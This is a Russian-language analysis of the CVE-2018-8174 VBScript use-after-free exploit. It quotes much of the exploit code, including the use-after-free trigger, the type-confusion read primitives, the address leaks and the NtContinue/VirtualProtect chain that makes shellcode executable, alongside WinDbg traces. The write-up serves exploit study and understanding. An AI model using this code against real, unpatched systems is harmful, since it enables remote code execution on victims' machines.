
Analysis of VBS exploit CVE-2018-8174
Когда этот эксплойт впервые появился на рубеже апреля и мая, он вызвал мой интерес, поскольку, несмотря на сильную обфускацию, структура кода казалась хорошо организованной, а код эксплуатации уязвимости — достаточно компактным, что упрощало анализ. Я скачал POC с github и решил, что это хороший кандидат для изучения внутреннего устройства. На тот момент уже были опубликованы два анализа: первый от 360 и второй от Kaspersky. Оба помогли мне понять, как это работает, но не были достаточными для глубокого понимания каждого аспекта эксплойта. Поэтому я решил проанализировать его самостоятельно и поделиться результатами.
Сначала, чтобы убрать целочисленную обфускацию, я использовал замену регулярных выражений в скрипте Python:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # крайне безопасно :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
Что касается обфусцированных имён, я переименовывал их постепенно в процессе анализа. Этот анализ лучше всего читать вместе с исходным кодом, ссылка на который приведена в конце.
Уязвимость возникает, когда объект уничтожается и вызывается пользовательская функция Class_Terminate(). В этой функции ссылка на освобождаемый объект сохраняется в UafArray. Теперь UafArray(i) ссылается на удалённый объект.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' исправляем счётчик ссылок
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Также обратите внимание на последнюю строку в Class_Terminate(). Когда мы копируем объект ClassTerminate в UafArray, его счётчик ссылок увеличивается. Чтобы сбалансировать это, мы снова освобождаем его, присваивая другое значение FreedObjectArray. Без этого память объекта не была бы освобождена, несмотря на вызов Class_Terminate, и следующий объект не был бы размещён на его месте.

Создание и удаление новых объектов повторяется 7 раз в цикле, после чего создаётся новый объект класса ReuseClass. Он выделяется в той же памяти, которая ранее была занята 7 экземплярами ClassTerminate.
Чтобы лучше это понять, вот простой скрипт WinDbg, отслеживающий все эти выделения:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
Вот журнал выделений из функции UafTrigger:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
Мы сразу видим, что ReuseClass действительно выделяется в той же памяти, которая была назначена 7 предыдущим экземплярам ClassTerminate.
Это повторяется дважды. В итоге мы получаем два объекта, на которые ссылаются UafArrays. Ни одна из этих ссылок не отражена в счётчике ссылок объекта.
В этом журнале также можно заметить, что даже после вызова Class_Terminate выполняются некоторые манипуляции с объектом, изменяющие его счётчик ссылок.
Поэтому, если бы мы не сбалансировали этот счётчик в Class_Terminate, мы бы получили что-то вроде:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
Другие адреса выделения. Эксплойт не смог бы создать условие use after free.
Создав эти два объекта с 7 неучтёнными ссылками на каждый, мы установили примитив произвольного чтения памяти.
Есть два похожих класса ReuseClass и FakeReuseClass. Замена первого класса вторым приводит к type confusion для члена mem.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' на самом деле вызовет Default Property Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
В функции SetProp сохраняется ReuseClass.mem и вызывается Default Property Get класса ReplacingClass_*, результат этого вызова будет помещён в ReuseClass.mem.
Public Default Property Get Q
Dim objectImitatingArray
Q=CDbl("174088534690791e-324") 'шестнадцатеричное значение: db 0, 0, 0, 0, 0Ch, 20h, 0, 0
For idx=0 To 6
UafArrayA(idx)=0
Next
Set objectImitatingArray=New FakeReuseClass
objectImitatingArray.mem = FakeArrayString
For idx=0 To 6
Set UafArrayA(idx)=objectImitatingArray
Next
End Property
Внутри этого геттера UafArray очищается путём присваивания 0 каждому элементу. Это вызывает VBScriptClass::Release для объекта ReuseClass, на который ссылается UafArray. Оказывается, что на этом этапе выполнения объект ReuseClass имеет счётчик ссылок, равный 7, и поскольку мы вызываем Release 7 раз, этот объект освобождается. А поскольку эти ссылки возникли из ситуации use after free, они не учитываются в счётчике ссылок.
На месте ReuseClass выделяется новый объект FakeReuseClass. Теперь, чтобы его счётчик ссылок стал равным 7, как было с ReuseClass, мы присваиваем его 7 раз в UafArray.
Вот расположение памяти до и после этой операции.


После этого функция геттера возвращает значение, которое будет присвоено старой переменной ReuseClass::mem. Как видно из дампов памяти, старое значение было расположено на 0xC байт раньше нового. Объекты были специально созданы для такой ситуации, например, выбором подходящей длины для имён функций. Теперь значение, записанное в ReuseClass::mem, перезапишет заголовок FakeReuseClass::mem, вызывая ситуацию type confusion.

FakeArrayString=Unescape("%u0001%u0880%u0001%u0000%u0000%u0000%u0000%u0000%uffff%u7fff%u0000%u0000") 'структура SAFEARRAY в виде строки
Empty16BString=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000") 'Строка с нулями, используется как память для записи
objectImitatingArray.mem = FakeArrayString
Последняя строка присваивает строку FakeArrayString переменной objectImitatingArray.mem. Теперь заголовок имеет значение VT_BSTR.
Q=CDbl("174088534690791e-324") ' db 0, 0, 0, 0, 0Ch, 20h, 0, 0
Это значение перезаписывает тип objectImitatingArray.mem на VT_ARRAY | VT_VARIANT, и теперь указатель на строку будет интерпретироваться как указатель на структуру SAFEARRAY.
В результате мы получаем два объекта FakeReuseClass. Один из них имеет член mem — массив, адресующий всё пользовательское пространство (0x00000000 - 0x7fffffff), а другой — член типа VT_I4 (4-байтовое целое) с указателем на пустую 16-байтную строку. Используя второй объект, мы извлекаем указатель на строку:
some_memory=resueObjectB_int.mem
Позже он будет использоваться как адрес в памяти, доступной для записи.
Следующий шаг — извлечение любого адреса внутри vbscript.dll. Здесь используется очень изящный трюк.
Function LeakVBAddr
On Error Resume Next
Dim emptySub_addr_placeholder
emptySub_addr_placeholder=EmptySub
emptySub_addr_placeholder=null
SetVarData emptySub_addr_placeholder
LeakVBAddr=ReadRawPointer()
End Function
Сначала мы определяем, что при ошибке скрипт должен просто продолжать обычное выполнение. Затем происходит попытка присвоить EmptySub переменной. Это невозможно в VBS, но значение всё равно помещается в стек до того, как генерируется ошибка. Следующая инструкция должна присвоить null переменной, что она и делает, просто изменяя тип последнего значения из стека на VT_NULL. Теперь emptySub_addr_placeholder содержит указатель на функцию, но с типом VT_NULL.
Function ReadRawPointer
resueObjectA_arr.mem(some_memory)=3 ' устанавливаем тип переменной в vbLong
ReadRawPointer=resueObjectA_arr.mem(some_memory+8) ' читаем данные как vbLong
End Function
Sub SetVarData(ByRef ref)
resueObjectA_arr.mem(some_memory+8)=ref ' устанавливаем данные
End Sub
Затем это значение записывается в нашу доступную для записи память, его тип изменяется на VT_I4, и оно считывается обратно как целое.
Если проверить содержимое этого значения, оно оказывается указателем на CScriptEntryPoint, и первым членом является vftable, указывающая внутрь vbscript.dll.

Чтобы прочитать значение из произвольного адреса, в данном случае указателя, возвращённого из LeakVBAddr, используются следующие функции:
Function GetUint32(addr)
Dim value
resueObjectA_arr.mem(some_memory+8)=addr+4 ' устанавливаем значение как BSTR ptr + 4 (BSTR объект: [len][addr+4], LenB прочитает из [len] == [addr]
resueObjectA_arr.mem(some_memory)=8 ' устанавливаем тип VT_BSTR
value=resueObjectA_arr.ReadBstrValll
resueObjectA_arr.mem(some_memory)=2 ' восстанавливаем исходный тип VT_I2
GetUint32=value
End Function
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Чтение достигается сначала записью addr+4 в доступную для записи память, затем тип изменяется на VT_BSTR. Теперь addr+4 рассматривается как указатель на BSTR.
Если мы вызовем LenB для addr+4, он вернёт значение, на которое указывает addr. Почему? Из-за того, как определён BSTR: значению в unicode предшествует его длина, и эта длина возвращается LenB.

Теперь, когда адрес внутри vbscript.dll утёк, и имея произвольное чтение памяти, это лишь вопрос правильного обхода заголовка PE для получения всех необходимых адресов.
vbscript=FindMzBase(GetUint32(ptr_toCScriptEntryPointVTble))
msvcrt=GetDllBaseFromExport(vbscript,"msvcrt.dll")
kernelbase=GetDllBaseFromExport(msvcrt,"kernelbase.dll")
ntdll=GetDllBaseFromExport(msvcrt,"ntdll.dll")
VirtualProtect=GetProcAddr(kernelbase,"VirtualProtect")
NtContinue=GetProcAddr(ntdll,"NtContinue")
Подробности этого здесь объясняться не будут. Эта статья подробно описывает PE-файл.
Финальное выполнение кода достигается в два этапа. Сначала строится цепочка из двух вызовов, но это не ROP-цепочка. В NtContinue передаётся структура CONTEXT, которая устанавливает EIP на адрес VirtualProtect, а ESP — на структуру, содержащую параметры VirtualProtect.
Function VirtualProtectCallParameters(shellcodePtr)
Dim result
result = String(10000,Unescape("%u4141")) ' 'A' * 0x10fdc - заполнение, это пространство будет использоваться как стек
result = result & UnescapeValue(shellcodePtr) ' &shellcode - адрес возврата после VirtualProtect
result = result & UnescapeValue(shellcodePtr) ' &shellcode - lpAddress (1-й параметр для VirtualProtect)
result = result & UnescapeValue(12288) ' 0x3000 - size (2-й параметр для VirtualProtect)
result = result & UnescapeValue(64) ' 0x40 - newProtect (3-й параметр для VirtualProtect)
result = result & UnescapeValue(shellcodePtr-8) ' &(shellcode-8) - lpOldProtect (4-й параметр для VirtualProtect)
result = result & String(6,Unescape("%u4242")) ' 'B' * 12 - заполнение и выравнивание
result = result & StructWithNtContinueAddr() ' \x00 * 3 NtContinue * 4 \x00
result = result & String((524288-LenB(result))/2,Unescape("%u4141"))' 'A' * (0x80000 - current_size) - заполнение
VirtualProtectCallParameters = result
End Function
Function StructForNtContinue(structForVirtualProtect)
Dim result
Dim ntContinuePtr
ntContinuePtr = structForVirtualProtect + 35
result = ""
result = result & UnescapeValue(ntContinuePtr)
result = result & String((184-LenB(result))/2,Unescape("%u4141")) ' 'A' * 0xb8 - инициализация _CONTEXT с 'A'
result = result & UnescapeValue(VirtualProtect) ' VirtualProtect - _EIP в структуре _CONTEXT
result = result & UnescapeValue(27) ' 0x1b - CsSeg в структуре _CONTEXT
result = result & UnescapeValue(0) ' 0x00 - EFLAGS в структуре _CONTEXT
result = result & UnescapeValue(structForVirtualProtect) ' structForVirtualProtect - _ESP в структуре _CONTEXT
result = result & UnescapeValue(35) ' 0x23 - SsSeg в структуре _CONTEXT
result = result & String((1024-LenB(result))/2,Unescape("%u4343")) ' 'A' * (0x400 - current_size) - заполнение
StructForNtContinue = result
End Function
SetVarData GetShellcode()
shellcodePtr = ReadRawPointer() + 8
SetVarData VirtualProtectCallParameters(shellcodePtr)
structForVirtualProtect = ReadRawPointer() + 20000
SetVarData StructForNtContinue(structForVirtualProtect)
Сначала получается адрес shellcode с помощью описанной ранее техники изменения типа переменной на VT_I4 и чтения указателя.
Затем строится структура для VirtualProtect, содержащая все необходимые параметры: адрес shellcode, размер и защиту RWX. В ней также есть пространство, которое будет использоваться операциями стека внутри VirtualProtect. После этого строится структура CONTEXT с EIP, установленным на VirtualProtect, и ESP, указывающим на его параметры. Эта структура также имеет первое значение — указатель на адрес NtContinue, повторённый 4 раза.
Последний шаг перед запуском этой цепочки — сохранение структуры в памяти в виде строки.
Sub TriggerCodeExecution
resueObjectA_arr.mem(some_memory)=&h4d
resueObjectA_arr.mem(some_memory+8)=0
End Sub
Затем эта функция используется для запуска цепочки. Сначала она изменяет тип сохранённой структуры на 0x4D, а затем устанавливает её значение в 0, что вызывает вызов VAR::Clear.

А динамическое представление из отладчика:

Хотя это может показаться сложным, эта цепочка выполнения очень проста. Всего два шага: вызвать NtContinue со структурой CONTEXT, указывающей на VirtualProtect. Затем VirtualProtect отключит DEP на странице памяти, содержащей shellcode, и после этого вернётся в shellcode.
CVE-2018-8174 — хороший пример объединения нескольких условий use after free и type confusion для достижения выполнения кода очень остроумным способом. Это отличный пример для изучения и понимания внутренней работы подобных эксплойтов.
Прокомментированный код эксплойта